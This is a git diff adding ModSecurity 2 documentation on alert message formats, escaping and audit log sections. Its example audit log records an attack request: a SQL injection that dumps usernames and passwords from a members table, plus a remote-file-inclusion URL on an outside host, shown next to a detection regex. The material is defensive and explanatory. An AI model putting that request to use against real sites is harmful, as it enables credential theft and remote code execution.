mirror of
https://github.com/owasp-modsecurity/ModSecurity.git
synced 2025-11-15 17:12:14 +03:00
Created ModSecurity 2 Data Formats (mediawiki)
730
ModSecurity-2-Data-Formats.mediawiki
Normal file
730
ModSecurity-2-Data-Formats.mediawiki
Normal file
@@ -0,0 +1,730 @@
|
||||
=ModSecurity 2 Data Formats=
|
||||
|
||||
Version 2.5.10-dev5 (March 22, 2011)
|
||||
|
||||
Copyright © 2004-2011 Trustwave Holdings, Inc. [https://www.trustwave.com/]
|
||||
|
||||
The purpose of this document is to describe the formats of the ModSecurity alert messages, transaction logs and communication protocols, which would not only allow for a better understanding what ModSecurity does but also for an easy integration with third-party tools and products.
|
||||
|
||||
==Alerts==
|
||||
As part of its operations ModSecurity will emit alerts, which are either <span class="emphasis"><em>warnings</em></span> (non-fatal) or <span class="emphasis"><em>errors</em></span> (fatal, usually leading to the interception of the transaction in question). Below is an example of a ModSecurity alert entry:</p>
|
||||
<pre class="programlisting">Access denied with code 505 (phase 1). Match of "rx
|
||||
^HTTP/(0\\\\.9|1\\\\.[01])$" against "REQUEST_PROTOCOL" required.
|
||||
[id "960034"] [msg "HTTP protocol version is not allowed by policy"]
|
||||
[severity "CRITICAL"] [uri "/"] [unique_id "PQaTTVBEUOkAAFwKXrYAAAAM"]</pre>
|
||||
|
||||
; Note : Alerts will only ever contain one line of text but we've broken the above example into multiple lines to make it fit into the page.
|
||||
|
||||
Each alert entry begins with the engine message, which describes what ModSecurity did and why. For example:
|
||||
<pre class="programlisting">Access denied with code 505 (phase 1). Match of "rx ^HTTP/(0\\\\.9|1\\\\.[01])$" against "REQUEST_PROTOCOL" required.</pre>
|
||||
|
||||
===Alert Action Description===
|
||||
The first part of the engine message tells you whether ModSecurity acted to interrupt transaction or rule processing:
|
||||
<div class="orderedlist"><ol class="orderedlist" type="1"><li class="listitem">
|
||||
<p>If the alert is only a warning, the first sentence will simply say
|
||||
<span class="emphasis"><em>Warning</em></span>.</p>
|
||||
</li><li class="listitem">
|
||||
<p>If the transaction was intercepted, the first sentence will begin with
|
||||
<span class="emphasis"><em>Access denied</em></span>. What follows is the list of possible
|
||||
messages related to transaction interception:</p>
|
||||
<div class="itemizedlist"><ul class="itemizedlist" type="disc"><li class="listitem">
|
||||
<p><span class="emphasis"><em>Access denied with code %0</em></span> - a response with
|
||||
status code <code class="literal">%0</code> was sent.</p>
|
||||
</li><li class="listitem">
|
||||
<p><span class="emphasis"><em>Access denied with connection close</em></span> -
|
||||
connection was abruptly closed.</p>
|
||||
</li><li class="listitem">
|
||||
<p><span class="emphasis"><em>Access denied with redirection to %0 using status
|
||||
%1</em></span> - a redirection to URI <code class="literal">%0</code> was
|
||||
issued using status <code class="literal">%1</code>.</p>
|
||||
</li></ul></div>
|
||||
</li><li class="listitem">
|
||||
<p>There is also a special message that ModSecurity emits where an <code class="literal">allow</code> action is executed. There are three variations of this
|
||||
type of message:</p>
|
||||
<div class="itemizedlist"><ul class="itemizedlist" type="disc"><li class="listitem">
|
||||
<p><span class="emphasis"><em>Access allowed</em></span> - rule engine stopped
|
||||
processing rules (transaction was unaffected).</p>
|
||||
</li><li class="listitem">
|
||||
<p><span class="emphasis"><em>Access to phase allowed</em></span> - rule engine stopped
|
||||
processing rules in the current phase only. Subsequent phases will
|
||||
be processed normally. Transaction was not affected by this rule but
|
||||
it may be affected by any of the rules in the subsequent
|
||||
phase.</p>
|
||||
</li><li class="listitem">
|
||||
<p><span class="emphasis"><em>Access to request allowed</em></span> - rule engine
|
||||
stopped processing rules in the current phase. Phases prior to
|
||||
request execution in the backend (currently phases 1 and 2) will not
|
||||
be processed. The response phases (currently phases 3 and 4) and
|
||||
others (currently phase 5) will be processed as normal. Transaction
|
||||
was not affected by this rule but it may be affected by any of the
|
||||
rules in the subsequent phase.</p>
|
||||
</li></ul></div>
|
||||
</li></ol></div>
|
||||
|
||||
===Alert Justification Description===
|
||||
The second part of the engine message explains <span class="emphasis"><em>why</em></span> the alert was generated. Since it is automatically generated from the rules it will be very technical in nature, talking about operators and their parameters and give you insight into what the rule looked like. But this message cannot give you insight into the reasoning behind the rule. A well-written rule will always specify a human-readable message (using the <code class="literal">msg</code> action) to provide further information.
|
||||
|
||||
The format of the second part of the engine message depends on whether it was generated by the operator (which happens on a match) or by the rule processor (which happens where there is not a match, but the negation was used):
|
||||
<div class="itemizedlist"><ul class="itemizedlist" type="disc"><li class="listitem">
|
||||
<p><code class="literal">@beginsWith</code> - <span class="emphasis"><em>String match %0 at
|
||||
%1.</em></span></p>
|
||||
</li><li class="listitem">
|
||||
<p><code class="literal">@contains</code> - <span class="emphasis"><em>String match %0 at
|
||||
%1.</em></span></p>
|
||||
</li><li class="listitem">
|
||||
<p><code class="literal">@containsWord</code> - <span class="emphasis"><em>String match %0 at
|
||||
%1.</em></span></p>
|
||||
</li><li class="listitem">
|
||||
<p><code class="literal">@endsWith</code> - <span class="emphasis"><em>String match %0 at
|
||||
%1.</em></span></p>
|
||||
</li><li class="listitem">
|
||||
<p><code class="literal">@eq</code> - <span class="emphasis"><em>Operator EQ matched %0 at
|
||||
%1.</em></span></p>
|
||||
</li><li class="listitem">
|
||||
<p><code class="literal">@ge</code> - <span class="emphasis"><em>Operator GE matched %0 at
|
||||
%1.</em></span></p>
|
||||
</li><li class="listitem">
|
||||
<p><code class="literal">@geoLookup</code> - <span class="emphasis"><em>Geo lookup for %0 succeeded at
|
||||
%1.</em></span></p>
|
||||
</li><li class="listitem">
|
||||
<p><code class="literal">@inspectFile</code> - <span class="emphasis"><em>File %0 rejected by the
|
||||
approver script %1: %2</em></span></p>
|
||||
</li><li class="listitem">
|
||||
<p><code class="literal">@le</code> - <span class="emphasis"><em>Operator LE matched %0 at
|
||||
%1.</em></span></p>
|
||||
</li><li class="listitem">
|
||||
<p><code class="literal">@lt</code> - <span class="emphasis"><em>Operator LT matched %0 at
|
||||
%1.</em></span></p>
|
||||
</li><li class="listitem">
|
||||
<p><code class="literal">@rbl</code> - <span class="emphasis"><em>RBL lookup of %0 succeeded at
|
||||
%1.</em></span></p>
|
||||
</li><li class="listitem">
|
||||
<p><code class="literal">@rx</code> - <span class="emphasis"><em>Pattern match %0 at
|
||||
%1.</em></span></p>
|
||||
</li><li class="listitem">
|
||||
<p><code class="literal">@streq</code> - <span class="emphasis"><em>String match %0 at
|
||||
%1.</em></span></p>
|
||||
</li><li class="listitem">
|
||||
<p><code class="literal">@validateByteRange</code> - <span class="emphasis"><em>Found %0 byte(s) in %1
|
||||
outside range: %2.</em></span></p>
|
||||
</li><li class="listitem">
|
||||
<p><code class="literal">@validateDTD</code> - <span class="emphasis"><em>XML: DTD validation
|
||||
failed.</em></span></p>
|
||||
</li><li class="listitem">
|
||||
<p><code class="literal">@validateSchema</code> - <span class="emphasis"><em>XML: Schema validation
|
||||
failed.</em></span></p>
|
||||
</li><li class="listitem">
|
||||
<p><code class="literal">@validateUrlEncoding</code></p>
|
||||
<div class="itemizedlist"><ul class="itemizedlist" type="circle"><li class="listitem">
|
||||
<p><span class="emphasis"><em>Invalid URL Encoding: Non-hexadecimal digits used at
|
||||
%0.</em></span></p>
|
||||
</li><li class="listitem">
|
||||
<p><span class="emphasis"><em>Invalid URL Encoding: Not enough characters at the end
|
||||
of input at %0.</em></span></p>
|
||||
</li></ul></div>
|
||||
</li><li class="listitem">
|
||||
<p><code class="literal">@validateUtf8Encoding</code></p>
|
||||
<div class="itemizedlist"><ul class="itemizedlist" type="circle"><li class="listitem">
|
||||
<p><span class="emphasis"><em>Invalid UTF-8 encoding: not enough bytes in character at
|
||||
%0.</em></span></p>
|
||||
</li><li class="listitem">
|
||||
<p><span class="emphasis"><em>Invalid UTF-8 encoding: invalid byte value in character
|
||||
at %0.</em></span></p>
|
||||
</li><li class="listitem">
|
||||
<p><span class="emphasis"><em>Invalid UTF-8 encoding: overlong character detected at
|
||||
%0.</em></span></p>
|
||||
</li><li class="listitem">
|
||||
<p><span class="emphasis"><em>Invalid UTF-8 encoding: use of restricted character at
|
||||
%0.</em></span></p>
|
||||
</li><li class="listitem">
|
||||
<p><span class="emphasis"><em>Invalid UTF-8 encoding: decoding error at
|
||||
%0.</em></span></p>
|
||||
</li></ul></div>
|
||||
</li><li class="listitem">
|
||||
<p><code class="literal">@verifyCC</code> - <span class="emphasis"><em>CC# match %0 at
|
||||
%1.</em></span></p>
|
||||
</li></ul></div>
|
||||
<p>Messages not related to operators:</p>
|
||||
<div class="itemizedlist"><ul class="itemizedlist" type="disc"><li class="listitem">
|
||||
<p>When <code class="literal">SecAction</code> directive is processed -
|
||||
<span class="emphasis"><em>Unconditional match in SecAction.</em></span></p>
|
||||
</li><li class="listitem">
|
||||
<p>When <code class="literal">SecRule</code> does not match but negation is used -
|
||||
<span class="emphasis"><em>Match of %0 against %1 required.</em></span></p>
|
||||
</li></ul></div>
|
||||
; Note : The parameters to the operators <code class="literal">@rx</code> and <code class="literal">@pm</code> (regular expression and text pattern, respectively) will be truncated to 252 bytes if they are longer than this limit. In this case the parameter in the alert message will be terminated with three dots.
|
||||
|
||||
===Meta-data===
|
||||
The metadata fields are always placed at the end of the alert entry. Each metadata field is a text fragment that consists of an open bracket followed by the metadata field name, followed by the value and the closing bracket. What follows is the text fragment that makes up the <code class="literal">id</code> metadata field.
|
||||
<pre class="programlisting">[id "960034"]</pre>
|
||||
<p>The following metadata fields are currently used:</p>
|
||||
<div class="orderedlist"><ol class="orderedlist" type="1"><li class="listitem">
|
||||
<p><code class="literal">offset</code> - The byte offset where a match occured within
|
||||
the target data. This is not always available.</p>
|
||||
</li><li class="listitem">
|
||||
<p><code class="literal">id</code> - Unique rule ID, as specified by the <code class="literal">id</code> action.</p>
|
||||
</li><li class="listitem">
|
||||
<p><code class="literal">rev</code> - Rule revision, as specified by the <code class="literal">rev</code> action.</p>
|
||||
</li><li class="listitem">
|
||||
<p><code class="literal">msg</code> - Human-readable message, as specified by the
|
||||
<code class="literal">msg</code> action.</p>
|
||||
</li><li class="listitem">
|
||||
<p><code class="literal">severity</code> - Event severity as text, as specified by the
|
||||
<code class="literal">severity</code> action. The possible values (with their
|
||||
corresponding numberical values in brackets) are <code class="literal">EMERGENCY</code> (0), <code class="literal">ALERT</code> (1), <code class="literal">CRITICAL</code> (2), <code class="literal">ERROR</code> (3), <code class="literal">WARNING</code> (4), <code class="literal">NOTICE</code> (5), <code class="literal">INFO</code> (6) and <code class="literal">DEBUG</code> (7).</p>
|
||||
</li><li class="listitem">
|
||||
<p><code class="literal">unique_id</code> - Unique event ID, generated
|
||||
automatically.</p>
|
||||
</li><li class="listitem">
|
||||
<p><code class="literal">uri</code> - Request URI.</p>
|
||||
</li><li class="listitem">
|
||||
<p><code class="literal">logdata</code> - contains transaction data fragment, as
|
||||
specified by the <code class="literal">logdata</code> action.</p>
|
||||
</li></ol></div>
|
||||
|
||||
===Escaping===
|
||||
ModSecurity alerts will always contain text fragments that were taken from configuration or the transaction. Such text fragments escaped before they are user in messages, in order to sanitise the potentially dangerous characters. They are also sometimes surrounded using double quotes. The escaping algorithm is as follows:</p><div class="orderedlist"><ol class="orderedlist" type="1"><li class="listitem">
|
||||
<p>Characters <code class="literal">0x08</code> (<code class="literal">BACKSPACE</code>),
|
||||
<code class="literal">0x0a</code> (<code class="literal">NEWLINE</code>), <code class="literal">0x10</code> (<code class="literal">CARRIAGE RETURN</code>), <code class="literal">0x09</code> (<code class="literal">HORIZONTAL TAB</code>) and <code class="literal">0x0b</code> (<code class="literal">VERTICAL TAB</code>) will be
|
||||
represented as <code class="literal">\b</code>, <code class="literal">\n</code>, <code class="literal">\r</code>, <code class="literal">\t</code> and <code class="literal">\v</code>,
|
||||
respectively.</p>
|
||||
</li><li class="listitem">
|
||||
<p>Bytes from the ranges <code class="literal">0-0x1f</code> and <code class="literal">0x7f-0xff</code> (inclusive) will be represented as <code class="literal">\xHH</code>, where <code class="literal">HH</code> is the hexadecimal
|
||||
value of the byte.</p>
|
||||
</li><li class="listitem">
|
||||
<p>Backslash characters (<code class="literal">\</code>) will be represented as
|
||||
<code class="literal">\\</code>.</p>
|
||||
</li><li class="listitem">
|
||||
<p>Each double quote character will be represented as <code class="literal">\"</code>, but only if the entire fragment is surrounded with
|
||||
double quotes.</p>
|
||||
</li></ol></div>
|
||||
|
||||
===Alerts in the Apache Error Log===
|
||||
Every ModSecurity alert conforms to the following format when it appears in the Apache error log:
|
||||
<pre class="programlisting">[Sun Jun 24 10:19:58 2007] [error] [client 192.168.0.1]
|
||||
ModSecurity: ALERT_MESSAGE</pre>
|
||||
<p>The above is a standard Apache error log format. The <code class="literal">ModSecurity:
|
||||
</code> prefix is specific to ModSecurity. It is used to allow quick
|
||||
identification of ModSecurity alert messages when they appear in the same file next
|
||||
to other Apache messages.</p>
|
||||
<p>The actual message (<code class="literal">ALERT_MESSAGE</code> in the example above) is in
|
||||
the same format as described in the <span class="emphasis"><em>Alerts</em></span> section.</p>
|
||||
|
||||
; Note : Apache further escapes ModSecurity alert messages before writing them to the error log. This means that all backslash characters will be doubled in the error log. In practice, since ModSecurity will already represent a single backslash within an untrusted text fragment as two backslashes, the end result in the Apache error log will be <span class="emphasis"><em>four</em></span> backslashes. Thus, if you need to interpret a ModSecurity message from the error log, you should decode the message part after the <code class="literal">ModSecurity:</code> prefix first. This step will peel the first encoding layer.</p>
|
||||
|
||||
|
||||
===Alerts in Audit Logs===
|
||||
Alerts are transported in the <code class="literal">H</code> section of the ModSecurity Audit Log. Alerts will appear each on a separate line and in the order they were generated by ModSecurity. Each line will be in the following format:
|
||||
<pre class="programlisting">Message: ALERT_MESSAGE</pre>
|
||||
<p>Below is an example of an <code class="literal">H</code> section that contains two alert
|
||||
messages:</p>
|
||||
<pre class="programlisting">--c7036611-H--
|
||||
Message: Warning. Match of "rx ^apache.*perl" against
|
||||
"REQUEST_HEADERS:User-Agent" required. [id "990011"] [msg "Request
|
||||
Indicates an automated program explored the site"] [severity "NOTICE"]
|
||||
Message: Warning. Pattern match "(?:\\b(?:(?:s(?:elect\\b(?:.{1,100}?\\b
|
||||
(?:(?:length|count|top)\\b.{1,100}?\\bfrom|from\\b.{1,100}?\\bwhere)
|
||||
|.*?\\b(?:d(?:ump\\b.*\\bfrom|ata_type)|(?:to_(?:numbe|cha)|inst)r))|p_
|
||||
(?:(?:addextendedpro|sqlexe)c|(?:oacreat|prepar)e|execute(?:sql)?|
|
||||
makewebt ..." at ARGS:c. [id "950001"] [msg "SQL Injection Attack.
|
||||
Matched signature: union select"] [severity "CRITICAL"]
|
||||
Stopwatch: 1199881676978327 2514 (396 2224 -)
|
||||
Producer: ModSecurity v2.x.x (Apache 2.x)
|
||||
Server: Apache/2.x.x
|
||||
|
||||
--c7036611-Z--</pre>
|
||||
|
||||
==Audit Log==
|
||||
ModSecurity records one transaction in a single audit log file. Below is an example:
|
||||
<pre class="programlisting">--c7036611-A--
|
||||
[09/Jan/2008:12:27:56 +0000] OSD4l1BEUOkAAHZ8Y3QAAAAH 209.90.77.54 64995
|
||||
80.68.80.233 80
|
||||
--c7036611-B--
|
||||
GET //EvilBoard_0.1a/index.php?c='/**/union/**/select/**/1,concat(username,
|
||||
char(77),password,char(77),email_address,char(77),info,char(77),user_level,
|
||||
char(77))/**/from/**/eb_members/**/where/**/userid=1/*http://kamloopstutor.
|
||||
com/images/banners/on.txt? HTTP/1.1
|
||||
TE: deflate,gzip;q=0.3
|
||||
Connection: TE, cslose
|
||||
Host: www.example.com
|
||||
User-Agent: libwww-perl/5.808
|
||||
|
||||
--c7036611-F--
|
||||
HTTP/1.1 404 Not Found
|
||||
Content-Length: 223
|
||||
Connection: close
|
||||
Content-Type: text/html; charset=iso-8859-1
|
||||
|
||||
--c7036611-H--
|
||||
Message: Warning. Match of "rx ^apache.*perl" against
|
||||
"REQUEST_HEADERS:User-Agent" required. [id "990011"] [msg "Request
|
||||
Indicates an automated program explored the site"] [severity "NOTICE"]
|
||||
Message: Warning. Pattern match "(?:\\b(?:(?:s(?:elect\\b(?:.{1,100}?\\b
|
||||
(?:(?:length|count|top)\\b.{1,100}?\\bfrom|from\\b.{1,100}?\\bwhere)
|
||||
|.*?\\b(?:d(?:ump\\b.*\\bfrom|ata_type)|(?:to_(?:numbe|cha)|inst)r))|p_
|
||||
(?:(?:addextendedpro|sqlexe)c|(?:oacreat|prepar)e|execute(?:sql)?|
|
||||
makewebt ..." at ARGS:c. [id "950001"] [msg "SQL Injection Attack.
|
||||
Matched signature: union select"] [severity "CRITICAL"]
|
||||
Stopwatch: 1199881676978327 2514 (396 2224 -)
|
||||
Producer: ModSecurity v2.x.x (Apache 2.x)
|
||||
Server: Apache/2.x.x
|
||||
|
||||
--c7036611-Z--
|
||||
</pre>
|
||||
The file consist of multiple sections, each in different format. Separators are used to define sections:
|
||||
<pre class="programlisting">--c7036611-A--</pre>
|
||||
<p>A separator always begins on a new line and conforms to the following format:</p>
|
||||
<div class="orderedlist"><ol class="orderedlist" type="1"><li class="listitem">
|
||||
<p>Two dashes</p>
|
||||
</li><li class="listitem">
|
||||
<p>Unique boundary, which consists from several hexadecimal characters.</p>
|
||||
</li><li class="listitem">
|
||||
<p>One dash character.</p>
|
||||
</li><li class="listitem">
|
||||
<p>Section identifier, currently a single uppercase letter.</p>
|
||||
</li><li class="listitem">
|
||||
<p>Two trailing dashes.</p>
|
||||
</li></ol></div>
|
||||
<p>Refer to the documentation for <code class="literal">SecAuditLogParts</code> for the explanation
|
||||
of each part.</p>
|
||||
|
||||
===Parts===
|
||||
|
||||
<p>This section documents the audit log parts available in ModSecurity 2.x. They are: </p><div class="itemizedlist"><ul class="itemizedlist" type="disc"><li class="listitem">
|
||||
<p><code class="literal">A</code> - audit log header</p>
|
||||
</li><li class="listitem">
|
||||
<p><code class="literal">B</code> - request headers</p>
|
||||
</li><li class="listitem">
|
||||
<p><code class="literal">C</code> - request body</p>
|
||||
</li><li class="listitem">
|
||||
<p><code class="literal">D</code> - intended response headers (NOT
|
||||
IMPLEMENTED)</p>
|
||||
</li><li class="listitem">
|
||||
<p><code class="literal">E</code> - intended response body</p>
|
||||
</li><li class="listitem">
|
||||
<p><code class="literal">F</code> - response headers</p>
|
||||
</li><li class="listitem">
|
||||
<p><code class="literal">G</code> - response body (NOT
|
||||
IMPLEMENTED)</p>
|
||||
</li><li class="listitem">
|
||||
<p><code class="literal">H</code> - audit log trailer</p>
|
||||
</li><li class="listitem">
|
||||
<p><code class="literal">I</code> - reduced multipart request
|
||||
body</p>
|
||||
</li><li class="listitem">
|
||||
<p><code class="literal">J</code> - multipart files information
|
||||
(NOT IMPLEMENTED)</p>
|
||||
</li><li class="listitem">
|
||||
<p><code class="literal">K</code> - matched rules
|
||||
information</p>
|
||||
</li><li class="listitem">
|
||||
<p><code class="literal">Z</code> - audit log footer</p>
|
||||
</li></ul></div>
|
||||
|
||||
====Audit Log Header (<code class="literal">A</code>)====
|
||||
|
||||
<p>ModSecurity 2.x audit log entries always begin with the header part. For
|
||||
example:</p>
|
||||
<pre class="programlisting">--c7036611-A--
|
||||
[09/Jan/2008:12:27:56 +0000] OSD4l1BEUOkAAHZ8Y3QAAAAH 209.90.77.54 64995
|
||||
80.68.80.233 80</pre>
|
||||
<p>The header contains only one line, with the following information on
|
||||
it:</p>
|
||||
<div class="orderedlist"><ol class="orderedlist" type="1"><li class="listitem">
|
||||
<p>Timestamp</p>
|
||||
</li><li class="listitem">
|
||||
<p>Unique transaction ID</p>
|
||||
</li><li class="listitem">
|
||||
<p>Source IP address (IPv4 or IPv6)</p>
|
||||
</li><li class="listitem">
|
||||
<p>Source port</p>
|
||||
</li><li class="listitem">
|
||||
<p>Destination IP address (IPv4 or IPv6)</p>
|
||||
</li><li class="listitem">
|
||||
<p>Destination port</p>
|
||||
</li></ol></div>
|
||||
|
||||
====Request Headers (<code class="literal">B</code>)====
|
||||
|
||||
<p>The request headers part contains the request line and the request headers.
|
||||
The information present in this part will not be identical to that sent by the
|
||||
client responsible for the transaction. ModSecurity 2.x for Apache does not have
|
||||
access to the raw data; it sees what Apache itself sees. While the end result
|
||||
may be identical to the raw request, differences are possible in some
|
||||
areas:</p>
|
||||
<div class="orderedlist"><ol class="orderedlist" type="1"><li class="listitem">
|
||||
<p>If any of the fields are <code class="literal">NUL</code>-terminated, Apache
|
||||
will only see the content prior to the NUL.</p>
|
||||
</li><li class="listitem">
|
||||
<p>Headers that span multiple lines (feature known as header folding)
|
||||
will be collapsed into a single line.</p>
|
||||
</li><li class="listitem">
|
||||
<p>Multiple headers with the same name will be combined into a single
|
||||
header (as allowed by the HTTP RFC).</p>
|
||||
</li></ol></div>
|
||||
|
||||
====Request Body (<code class="literal">C</code>)====
|
||||
|
||||
<p>This part contains the request body of the transaction, after dechunking and
|
||||
decompression (if applicable).</p>
|
||||
|
||||
====Intended Response Headers (<code class="literal">D</code>)====
|
||||
|
||||
<p>This part contains the status line and the request headers that would have
|
||||
been delivered to the client had ModSecurity not intervened. Thus this part
|
||||
makes sense only for transactions where ModSecurity altered the data flow. By
|
||||
differentiating before the intended and the final response headers, we are able
|
||||
to record what was internally ready for sending, but also what was actually
|
||||
sent.</p>
|
||||
; Note : This part is reserved for future use. It is not implemented in ModSecurity 2.x.
|
||||
|
||||
====Intended Response Body (<code class="literal">E</code>)====
|
||||
|
||||
<p>This part contains the transaction response body (before compression and
|
||||
chunking, where used) that was either sent or would have been sent had
|
||||
ModSecurity not intervened. You can find whether interception took place by
|
||||
looking at the <code class="literal">Action</code> header of the part <code class="literal">H</code>. If that header is present, and the interception took place in
|
||||
phase 3 or 4 then the <code class="literal">E</code> part contains the intended response
|
||||
body. Otherwise, it contains the actual response body.</p>
|
||||
|
||||
; Note : Once the <code class="literal">G</code> (actual response body) part is implemented, part <code class="literal">E</code> will be present only in audit logs that contain a transaction that was intercepted, and there will be no need for further analysis.
|
||||
|
||||
====Response Headers (<code class="literal">F</code>)====
|
||||
|
||||
<p>This part contains the actual response headers sent to the client. Since
|
||||
ModSecurity 2.x for Apache does not access the raw connection data, it
|
||||
constructs part <code class="literal">F</code> out of the internal Apache data structures
|
||||
that hold the response headers.</p>
|
||||
<p>Some headers (the <code class="literal">Date</code> and <code class="literal">Server</code>
|
||||
response headers) are generated just before they are sent and ModSecurity is not
|
||||
able to record those. You should note than ModSecurity is working as part of a
|
||||
reverse proxy, the backend web server will have generated these two servers, and
|
||||
in that case they will be recorded. </p>
|
||||
|
||||
====Response Body (<code class="literal">G</code>)====
|
||||
|
||||
<p>When implemented, this part will contain the actual response body before
|
||||
compression and chunking.</p>
|
||||
; Note : This part is reserved for future use. It is not implemented in ModSecurity 2.x.
|
||||
|
||||
====Audit Log Trailer (<code class="literal">H</code>)====
|
||||
|
||||
<p>Part <code class="literal">H</code> contains additional transaction meta-data that was
|
||||
obtained from the web server or from ModSecurity itself. The part contains a
|
||||
number of trailer headers, which are similar to HTTP headers (without support
|
||||
for header folding):</p><div class="orderedlist"><ol class="orderedlist" type="1"><li class="listitem">
|
||||
<p>Action</p>
|
||||
</li><li class="listitem">
|
||||
<p>Apache-Error</p>
|
||||
</li><li class="listitem">
|
||||
<p>Message</p>
|
||||
</li><li class="listitem">
|
||||
<p>Producer</p>
|
||||
</li><li class="listitem">
|
||||
<p>Response-Body-Transformed</p>
|
||||
</li><li class="listitem">
|
||||
<p>Sanitised-Args</p>
|
||||
</li><li class="listitem">
|
||||
<p>Sanitised-Request-Headers</p>
|
||||
</li><li class="listitem">
|
||||
<p>Sanitised-Response-Headers</p>
|
||||
</li><li class="listitem">
|
||||
<p>Server</p>
|
||||
</li><li class="listitem">
|
||||
<p>Stopwatch</p>
|
||||
</li><li class="listitem">
|
||||
<p>WebApp-Info</p>
|
||||
</li></ol>
|
||||
|
||||
=====Action=====
|
||||
|
||||
<p>The <code class="literal">Action</code> header is present only for the transactions
|
||||
that were intercepted:</p>
|
||||
<pre class="programlisting">Action: Intercepted (phase 2)</pre>
|
||||
<p>The phase information documents the phase in which the decision to
|
||||
intercept took place.</p>
|
||||
|
||||
=====Apache-Error=====
|
||||
|
||||
<p>The Apache-Error header contains Apache error log messages observed by
|
||||
ModSecurity, excluding those sent by ModSecurity itself. For example:</p>
|
||||
<pre class="programlisting">Apache-Error: [file "/tmp/buildd/apache2-2.0.54/build-tree/apache2/server/
|
||||
core.c"] [line 3505] [level 3] File does not exist: /var/www/www.
|
||||
modsecurity.org/fst/documentation/modsecurity-apache/2.5.0-dev2</pre>
|
||||
|
||||
=====Message=====
|
||||
|
||||
<p>Zero or more <code class="literal">Message</code> headers can be present in any
|
||||
trailer, and each such header will represent a single ModSecurity warning or
|
||||
error, displayed in the order they were raised.</p>
|
||||
<p>The example below was broken into multiple lines to make it fit this
|
||||
page:</p>
|
||||
<pre class="programlisting">Message: Access denied with code 400 (phase 2). Pattern match "^\w+:/" at
|
||||
REQUEST_URI_RAW. [file "/etc/apache2/rules-1.6.1/modsecurity_crs_20_
|
||||
protocol_violations.conf"] [line "74"] [id "960014"] [msg "Proxy access
|
||||
attempt"] [severity "CRITICAL"] [tag "PROTOCOL_VIOLATION/PROXY_ACCESS"]</pre>
|
||||
|
||||
=====Producer=====
|
||||
|
||||
<p>The <code class="literal">Producer</code> header identifies the product that
|
||||
generated the audit log. For example:</p>
|
||||
<pre class="programlisting">Producer: ModSecurity for Apache/2.5.5 (http://www.modsecurity.org/).</pre>
|
||||
<p>ModSecurity allows rule sets to add their own signatures to the <code class="literal">Producer</code> information (this is done using the <code class="literal">SecComponentSignature</code> directive). Below is an example of the
|
||||
<code class="literal">Producer</code> header with the signature of one component
|
||||
(all one line):</p>
|
||||
<pre class="programlisting">Producer: ModSecurity for Apache/2.5.5 (http://www.modsecurity.org/);
|
||||
MyComponent/1.0.0 (Beta).</pre>
|
||||
|
||||
=====Response-Body-Transformed=====
|
||||
|
||||
<p>This header will appear in every audit log that contains a response
|
||||
body:</p>
|
||||
<pre class="programlisting">Response-Body-Transformed: Dechunked</pre>
|
||||
<p>The contents of the header is constant at present, so the header is only
|
||||
useful as a reminder that the recorded response body is not identical to the
|
||||
one sent to the client. The actual content is the same, except that Apache
|
||||
may further compress the body and deliver it in chunks.</p>
|
||||
|
||||
=====Sanitised-Args=====
|
||||
|
||||
<p>The <code class="literal">Sanitised-Args</code> header contains a list of arguments
|
||||
that were sanitised (each byte of their content replaced with an asterisk)
|
||||
before logging. For example:</p>
|
||||
<pre class="programlisting">Sanitised-Args: "old_password", "new_password", "new_password_repeat".</pre>
|
||||
|
||||
=====Sanitised-Request-Headers=====
|
||||
|
||||
<p>The <code class="literal">Sanitised-Request-Headers</code> header contains a list of
|
||||
request headers that were sanitised before logging. For example:</p>
|
||||
<pre class="programlisting">Sanitised-Request-Headers: "Authentication".</pre>
|
||||
|
||||
=====Sanitised-Response-Headers=====
|
||||
|
||||
<p>The <code class="literal">Sanitised-Response-Headers</code> header contains a list
|
||||
of response headers that were sanitised before logging. For example:</p>
|
||||
<pre class="programlisting">Sanitised-Response-Headers: "My-Custom-Header".</pre>
|
||||
|
||||
=====Server=====
|
||||
|
||||
<p>The <code class="literal">Server</code> header identifies the web server. For
|
||||
example:</p>
|
||||
<pre class="programlisting">Server: Apache/2.0.54 (Debian GNU/Linux) mod_ssl/2.0.54 OpenSSL/0.9.7e</pre>
|
||||
<p>This information may sometimes be present in any of the parts that contain
|
||||
response headers, but there are a few cases when it isn't:</p><div class="orderedlist"><ol class="orderedlist" type="1"><li class="listitem">
|
||||
<p>None of the response headers were recoreded.</p>
|
||||
</li><li class="listitem">
|
||||
<p>The information in the response headers is not accurate
|
||||
because server signature masking was used.</p>
|
||||
</li></ol>
|
||||
|
||||
=====Stopwatch=====
|
||||
|
||||
<p>The <code class="literal">Stopwatch</code> header provides certain diagnostic
|
||||
information that allows you to determine the performance of the web server
|
||||
and of ModSecurity itself. It will typically look like this:</p>
|
||||
<pre class="programlisting">Stopwatch: 1222945098201902 2118976 (770* 4400 -)</pre>
|
||||
<p>Each line can contain up to 5 different values. Some values can be absent;
|
||||
each absent value will be replaced with a dash.</p>
|
||||
<p>The meanings of the values are as follows (all values are in
|
||||
microseconds):</p><div class="orderedlist"><ol class="orderedlist" type="1"><li class="listitem">
|
||||
<p>Transaction timestamp in microseconds since January 1st,
|
||||
1970.</p>
|
||||
</li><li class="listitem">
|
||||
<p>Transaction duration.</p>
|
||||
</li><li class="listitem">
|
||||
<p>The time between the moment Apache started processing the
|
||||
request and until phase 2 of ModSecurity began. If an asterisk
|
||||
is present that means the time includes the time it took
|
||||
ModSecurity to read the request body from the client (typically
|
||||
slow). This value can be used to provide a rough estimate of the
|
||||
client speed, but only with larger request bodies (the smaller
|
||||
request bodies may arrive in a single TCP/IP packet).</p>
|
||||
</li><li class="listitem">
|
||||
<p>The time between the start of processing and until phase 2 was
|
||||
completed. If you substract the previous value from this value
|
||||
you will get the exact duration of phase 2 (which is the main
|
||||
rule processing phase).</p>
|
||||
</li><li class="listitem">
|
||||
<p>The time between the start of request processing and util we
|
||||
began sending a fully-buffered response body to the client. If
|
||||
you substract this value from the total transaction duration and
|
||||
divide with the response body size you may get a rough estimate
|
||||
of the client speed, but only for larger response bodies.</p>
|
||||
</li></ol>
|
||||
|
||||
=====WebApp-Info=====
|
||||
|
||||
<p>The <code class="literal">WebApp-Info</code> header contains information on the
|
||||
application to which the recorded transaction belongs. This information will
|
||||
appear only if it is known, which will happen if <code class="literal">SecWebAppId</code> was set, or <code class="literal">setsid</code> or <code class="literal">setuid</code> executed in the transaction.</p>
|
||||
<p>The header uses the following format:</p>
|
||||
<pre class="programlisting">WebApp-Info: "WEBAPPID" "SESSIONID" "USERID"</pre>
|
||||
<p>Each unknown value is replaced with a dash.</p>
|
